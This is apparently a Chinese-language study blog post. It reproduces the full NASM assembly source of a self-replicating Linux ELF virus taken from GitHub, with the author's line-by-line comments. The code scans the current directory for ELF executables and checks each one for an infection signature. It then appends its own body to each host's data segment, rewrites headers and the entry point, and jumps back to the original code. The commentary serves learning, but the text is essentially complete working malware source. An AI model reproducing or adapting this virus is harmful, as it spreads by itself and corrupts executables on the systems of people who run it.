用汇编编写病毒
用汇编编写一个病毒
在github上看到大神用汇编编写的linux病毒,学习一下
github地址:https://github.com/cranklin/cranky-data-virus/blob/master/cranky_data_virus.asm
源码分析:
;; nasm -f elf -F dwarf -g cranky_data_virus.asm ;; ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o section .text global v_start ;代码开始处 v_start: ; virus body start ; make space in the stack for some uninitialized variables to avoid a .bss section mov ecx, 2328 ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)
;不断向栈上push 0,用作全局未初始化变量空间,依次push是4个字节
loop_bss: push 0x00 ; reserve 4 bytes (double word) of 0's sub ecx, 1 ; decrement our counter by 1 cmp ecx, 0 jbe loop_bss
;将这块空间的地址赋值给edi mov edi, esp ; esp has our fake .bss offset. Let's store it in edi for now. call folder
;这是可以在栈上分配空间的方式,当call执行的时候,EIP被压栈,这个样ebx在pop之后就指向了栈中的".",也就是说下面的open打开的是“.” db ".", 0 folder:
;目录就是“.” pop ebx ; name of the folder mov esi, 0 ; reset offset for targets mov eax, 5 ; sys_open mov ecx, 0 mov edx, 0 int 80h ;检查返回值,做错误处理 cmp eax, 0 ; check if fd in eax > 0 (ok) jbe v_stop ; cannot open file. Exit virus ;遍历“.” mov ebx, eax mov eax, 0xdc ; sys_getdents64
;将目录输出的地址设为前面分配的栈空间中,地址放在edi+32中 mov ecx, edi ; fake .bss section add ecx, 32 ; offset for buffer mov edx, 1024 int 80h mov eax, 6 ; close int 80h xor ebx, ebx ; zero out ebx as we will use it as the buffer offset ;这里从结果缓冲区中寻找0008这两个字节,应该是linux_dirent64结构前面的type等信息有固定模式 find_filename_start: ; look for the sequence 0008 which occurs before the start of a filename
;这里的ebx应该是作为字符串长度的指针,用1024和ebx做比较,当大于1024的时候直接跳转到infect,这应该是缓冲区长度不超过1024 inc ebx cmp ebx, 1024 jge infect
;edi+32就是存放目录遍历输出的地方,ebx就是向前的所索引,这里就是利用ebx不断向前读,直到找到0008这两个字符 cmp byte [edi+32+ebx], 0x00 ; edi+32 is buffer jnz find_filename_start inc ebx cmp byte [edi+32+ebx], 0x08 ; edi+32 is buffer jnz find_filename_start ;往缓冲区头部写入.和/,因为edi是内存区开始,edi+32才开始存放目录遍历的输出,这里是直接在edi处写入当前目录,ecx做位索引 xor ecx, ecx ; clear out ecx which will be our offset for file mov byte [edi+ecx], 0x2e ; prepend file with ./ for full path (.) edi is filename inc ecx mov byte [edi+ecx], 0x2f ; prepend file with ./ for full path (/) edi is filename inc ecx ;到这里。ebx作为索引,在sys_getdents的返回值中遍历字符串。ecx指向新建的字符串的末尾,两个都是共用一个缓冲区,新字符串从edi开始,而sys_getdents
;是从edi+32的位置开始存放结果 find_filename_end: ; look for the 00 which denotes the end of a filename inc ebx cmp ebx, 1024 jge infect ;这里将esi指向原sys_getdents返回结果(ebx表示结尾处),edi指向新的文件名字符串(ecx表示结尾处),然后使用movsb复制内容 push esi ; save our target offset mov esi, edi ; fake .bss add esi, 32 ; offset for buffer add esi, ebx ; set source push edi ; save our fake .bss add edi, ecx ; set destination to filename movsb ; moved byte from buffer to filename pop edi ; restore our fake .bss pop esi ; restore our target offset inc ecx ; increment offset stored in ecx ;复制文件名字符串直到末尾是‘\0’ cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename jnz find_filename_end ;为新字符串的末尾增加一个‘\0’ mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer ;ebx表示原缓冲区的结尾处,入栈,当作第一个参数 push ebx ; save our offset in buffer call scan_file pop ebx ; restore our offset in buffer ;对下一个文件执行操作 jmp find_filename_start ; find next file scan_file: ; check the file for infectability mov eax, 5 ; sys_open
;edi指向的是新字符串的开头 mov ebx, edi ; path (offset to filename) mov ecx, 0 ; O_RDONLY int 80h cmp eax, 0 ; check if fd in eax > 0 (ok) jbe return ; cannot open file. Return mov ebx, eax ; fd mov eax, 3 ; sys_read mov ecx, edi ; address struct
;这里的2080处写的是目标文件的内容 add ecx, 2080 ; offset to targetfile in fake .bss mov edx, 12 ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature int 80h ;scan_file到这就是打开文件,然后读取了12个字节,根据这个去判断可执行文件的格式 call elfheader
;这里的技巧和上面的一样了,先用call将eip指针入栈,此时eip指向下面的数,接着pop指令就可以将这个数的地址存放到ecx中 dd 0x464c457f ; 0x7f454c46 -> .ELF (but reversed for endianness) elfheader: pop ecx mov ecx, dword [ecx] cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword). edi+2080 is offset to targetfile in fake .bss jnz close_file ; not an executable ELF binary. Return ;利用可执行文件头中的第8个字节往后的空余字段来标志该文件是否被感染 ; check if infected mov ecx, 0x001edd0e ; 0x0edd1e00 signature reversed for endianness cmp dword [edi+2080+8], ecx ; signature should show up after the 8th byte. edi+2080 is offset to targetfile in fake .bss jz close_file ; signature exists. Already infected. Close file. save_target:
;在下面的movsb中,esi是文件名,这一步之前保存在内存区的头部,并且加上了'.'和'/',将目标字符串又保存到内存区1056处 ; good target! save filename push esi ; save our targets offset push edi ; save our fake .bss mov ecx, edi ; temporarily place filename offset in ecx add edi, 1056 ; offset to targets in fake .bss add edi, esi mov esi, ecx ; filename -> edi -> ecx -> esi mov ecx, 32 rep movsb ; save another target filename in targets pop edi ; restore our fake .bss pop esi ; restore our targets offset add esi, 32 close_file: mov eax, 6 int 80h ;这一步的return应该return到call scan_file处 return: ret infect: ; let's infect these targets! cmp esi, 0 jbe v_stop ; there are no targets :( exit sub esi, 32 mov eax, 5 ; sys_open mov ebx, edi ; path
;前面看到已经将文件名写到了1056处 add ebx, 1056 ; offset to targets in fake .bss add ebx, esi ; offset of next filename mov ecx, 2 ; O_RDWR int 80h mov ebx, eax ; fd mov ecx, edi add ecx, 2080 ; offset to targetfile in fake .bss ;不断的读,直到返回0,这表示读到了结尾,这里整个文件都写到缓冲区2080处,也就是ecx指向的位置 reading_loop: mov eax, 3 ; sys_read mov edx, 1 ; read 1 byte at a time (yeah, I know this can be optimized) int 80h cmp eax, 0 ; if this is 0, we've hit EOF je reading_eof mov eax, edi
;文件大小不能超过7232 add eax, 9312 ; 2080 + 7232 cmp ecx, eax ; if the file is over 7232 bytes, let's quit jge infect add ecx, 1 jmp reading_loop ;文件读取结束之后就跳转到这里了 reading_eof:
;此时ecx应该指向的是读取文件的末尾,读取文件的内容应该在2080到ecx处,这里入栈保存下来 push ecx ; store address of last byte read. We'll need this later mov eax, 6 ; close file int 80h ;这里开始解析elf文件 xor ecx, ecx xor eax, eax mov cx, word [edi+2080+44] ; ehdr->phnum (number of program header entries)
;eax将指向程序头表的开头位置 mov eax, dword [edi+2080+28] ; ehdr->phoff (program header offset) sub ax, word [edi+2080+42] ; subtract 32 (size of program header entry) to initialize loop program_header_loop: ; loop through program headers and find the data segment (PT_LOAD, offset>0) ;0 p_type type of segment ;+4 p_offset offset in file where to start the segment at ;+8 p_vaddr his virtual address in memory ;+c p_addr physical address (if relevant, else equ to p_vaddr) ;+10 p_filesz size of datas read from offset ;+14 p_memsz size of the segment in memory ;+18 p_flags segment flags (rwx perms) ;+1c p_align alignement
;42处表示一个程序头表项的大小,此处将 add ax, word [edi+2080+42] cmp ecx, 0
;ecx中存放的是程序头表的带下,如果等于0,则说明已经遍历完了 jbe infect ; couldn't find data segment. let's close and look for next target sub ecx, 1 ; decrement our counter by 1 ;TYPE是PT_LOAD,则跳回前面,继续遍历下一个程序头 mov ebx, dword [edi+2080+eax] ; phdr->type (type of segment) cmp ebx, 0x01 ; 0: PT_NULL, 1: PT_LOAD, ... jne program_header_loop ; it's not PT_LOAD. look for next program header ;ebx指向段的起始地址 mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header) cmp ebx, 0x00 ; if it's 0, it's the text segment. Otherwise, we found the data segment je program_header_loop ; it's the text segment. We're interested in the data segment ;下面关于每个偏移量都有注释 mov ebx, dword [edi+2080+24] ; old entry point push ebx ; save the old entry point mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header) mov edx, dword [edi+2080+eax+16] ; phdr->filesz (size of segment on disk) add ebx, edx ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz push ebx ; save the offset of our virus mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (virtual address in memory) add ebx, edx ; new entry point = phdr[data]->vaddr + p[data]->filesz ;这里写回一个魔数,表示这个elf文件已经被感染了 mov ecx, 0x001edd0e ; insert our signature at byte 8 (unused section of the ELF header) mov [edi+2080+8], ecx mov [edi+2080+24], ebx ; overwrite the old entry point with the virus (in buffer)
;v_stop表示的是程序的末尾,v_start表示的是程序的开头,两者相减,最后再加上一个7字节的大小,表示整个程序的大小
;因为在最后写入文件的时候还会写入7个字节的跳转指令,写在v_stop之后,所以这个大小的计算应该是这样 add edx, v_stop - v_start ; add size of our virus to phdr->filesz add edx, 7 ; for the jmp to original entry point
;重写 mov [edi+2080+eax+16], edx ; overwrite the old phdr->filesz with the new one (in buffer) mov ebx, dword [edi+2080+eax+20] ; phdr->memsz (size of segment in memory) add ebx, v_stop - v_start ; add size of our virus to phdr->memsz add ebx, 7 ; for the jmp to original entry point mov [edi+2080+eax+20], ebx ; overwrite the old phdr->memsz with the new one (in buffer) xor ecx, ecx xor eax, eax
;下面去遍历节区 mov cx, word [edi+2080+48] ; ehdr->shnum (number of section header entries) mov eax, dword [edi+2080+32] ; ehdr->shoff (section header offset) sub ax, word [edi+2080+46] ; subtract 40 (size of section header entry) to initialize loop ;下面的操作就是去遍历程序头表和节区表,更改里面的一些数据 section_header_loop: ; loop through section headers and find the .bss section (NOBITS) ;0 sh_name contains a pointer to the name string section giving the ;+4 sh_type give the section type [name of this section ;+8 sh_flags some other flags ... ;+c sh_addr virtual addr of the section while running ;+10 sh_offset offset of the section in the file ;+14 sh_size zara white phone numba ;+18 sh_link his use depends on the section type ;+1c sh_info depends on the section type ;+20 sh_addralign alignement ;+24 sh_entsize used when section contains fixed size entrys add ax, word [edi+2080+46] cmp ecx, 0 jbe finish_infection ; couldn't find .bss section. Nothing to worry about. Finish the infection sub ecx, 1 ; decrement our counter by 1 mov ebx, dword [edi+2080+eax+4] ; shdr->type (type of section) cmp ebx, 0x00000008 ; 0x08 is NOBITS which is an indicator of a .bss section jne section_header_loop ; it's not the .bss section mov ebx, dword [edi+2080+eax+12] ; shdr->addr (virtual address in memory) add ebx, v_stop - v_start ; add size of our virus to shdr->addr add ebx, 7 ; for the jmp to original entry point
;写回 mov [edi+2080+eax+12], ebx ; overwrite the old shdr->addr with the new one (in buffer) section_header_loop_2: mov edx, dword [edi+2080+eax+16] ; shdr->offset (offset of section) add edx, v_stop - v_start ; add size of our virus to shdr->offset add edx, 7 ; for the jmp to original entry point mov [edi+2080+eax+16], edx ; overwrite the old shdr->offset with the new one (in buffer) add eax, 40 sub ecx, 1 cmp ecx, 0 jg section_header_loop_2 ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping finish_infection: ;dword [edi+2080+24] ; ehdr->entry (virtual address of entry point) ;dword [edi+2080+28] ; ehdr->phoff (program header offset) ;dword [edi+2080+32] ; ehdr->shoff (section header offset) ;word [edi+2080+40] ; ehdr->ehsize (size of elf header) ;word [edi+2080+42] ; ehdr->phentsize (size of one program header entry) ;word [edi+2080+44] ; ehdr->phnum (number of program header entries) ;word [edi+2080+46] ; ehdr->shentsize (size of one section header entry) ;word [edi+2080+48] ; ehdr->shnum (number of program header entries) mov eax, v_stop - v_start ; size of our virus minus the jump to original entry point add eax, 7 ; for the jmp to original entry point mov ebx, dword [edi+2080+32] ; the original section header offset add eax, ebx ; add the original section header offset mov [edi+2080+32], eax ; overwrite the old section header offset with the new one (in buffer) ;到这里关于原elf文件的更改就结束了, mov eax, 5 ; sys_open mov ebx, edi ; path add ebx, 1056 ; offset to targets in fake .bss add ebx, esi ; offset of next filename mov ecx, 2 ; O_RDWR int 80h mov ebx, eax ; fd mov eax, 4 ; sys_write mov ecx, edi add ecx, 2080 ; offset to targetfile in fake .bss
;这里往前看一个push,可以知道在栈顶的是data段的结尾地址,也就是说这部分是寄生代码之前需要写入的数据大小 pop edx ; host file up to the offset where the virus resides int 80h mov [edi+7], edx ; place the offset of the virus in this unused section of the filename buffer call delta_offset delta_offset: pop ebp ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files. This will be 0 in our original virus sub ebp, delta_offset ;4号调用时write,写入病毒代码 mov eax, 4 lea ecx, [ebp + v_start] ; attach the virus portion (calculated with the delta offset) mov edx, v_stop - v_start ; size of virus bytes int 80h ;这里再向最后写入7个字节的代码,这7个字节可以跳转回原程序地址 pop edx ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename) mov [edi], byte 0xb8 ; op code for MOV EAX (1 byte) mov [edi+1], edx ; original entry point (4 bytes) mov [edi+5], word 0xe0ff ; op code for JMP EAX (2 bytes) mov eax, 4 mov ecx, edi ; offset to filename in fake .bss mov edx, 7 ; 7 bytes for the final jmp to the original entry point int 80h mov eax, 4 ; sys_write mov ecx, edi add ecx, 2080 ; offset to targetfile in fake .bss mov edx, dword [edi+7] ; offset of the virus add ecx, edx ; let's continue where we left off pop edx ; offset of last byte in targetfile in fake.bss sub edx, ecx ; length of bytes to write int 80h mov eax, 36 ; sys_sync int 80h mov eax, 6 ; close file int 80h jmp infect v_stop: ; virus body stop (host program start) mov eax, 1 ; sys_exit mov ebx, 0 ; normal status int 80h